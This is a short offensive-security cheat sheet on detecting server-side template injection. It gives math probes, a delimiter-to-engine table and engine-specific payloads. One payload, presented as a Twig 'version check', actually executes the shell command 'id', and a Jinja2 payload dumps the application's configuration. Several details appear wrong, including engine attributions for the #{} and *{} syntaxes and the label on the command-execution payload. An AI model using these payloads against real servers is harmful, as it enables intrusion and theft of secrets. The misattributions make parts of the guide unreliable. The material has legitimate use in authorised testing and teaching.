

# THE STRATEGY TO IDENTIFY SSTI

## The Strategy: "The Math Test"

We do not guess; we verify. If you inject a mathematical operation and the server renders the **answer**, you have confirmed Code Execution.

- **Input:**  `{{7*7}}`
  - **Output (Text):**  `{{7*7}}` -> **Fail** (Not vulnerable or wrong syntax).
  - **Output (Rendered):**  `49` -> **Success** (Vulnerable).
- 

## 1. The Syntax Matrix

Different engines use different delimiters. Fuzz these first to see which one triggers an error or a calculation.

Syntax	Likely Engines
<code> {{7*7}}</code>	<b>Jinja2</b> (Python), <b>Twig</b> (PHP), <b>Django</b> (Python)
<code> \${7*7}</code>	<b>FreeMarker</b> (Java), <b>Thymeleaf</b> (Java), <b>EL</b> (Java)
<code> &lt;%= 7*7 %&gt;</code>	<b>ERB</b> (Ruby), <b>EJS</b> (NodeJS)
<code> #{7*7}</code>	<b>Velocity</b> (Java)
<code> *{7*7}</code>	<b>Smarty</b> (PHP)

---

## 2. The Differentiator (The String Test)

Many engines use  `{{ }}` . To distinguish between them (e.g., Jinja2 vs. Twig), we use the handling of string multiplication.

**Payload:**  `{{7*'7'}}`

- **Result:**  `49`
  - **Engine:** **Twig** (PHP)
  - **Logic:** PHP is weakly typed; it converts the string '7' to a number and multiplies.
- **Result:**  `7777777`
  - **Engine:** **Jinja2** (Python)

- *Logic:* Python is strongly typed; multiplying a string repeats it.
- 

### 3. Engine-Specific Confirmations

Once you suspect an engine, confirm it with a specific payload.

- **FreeMarker (Java):**  `${3*3}`  ->  `9`  *Legacy check:*  `${"freemarker"?length}`  ->  `10`
  - **Velocity (Java):**  `#set($x=7*7)$x`  ->  `49`
  - **Twig (PHP):**  `{{7*7}}`  ->  `49`  *Version check:*  
 `{{_self.env.registerUndefinedFilterCallback("exec")}}`   
 `{{_self.env.getFilter("id")}}`  (Advanced)
  - **Jinja2 (Python):**  `{{7*7}}`  ->  `49`  *Dump config:*  `{{config.items()}}`
-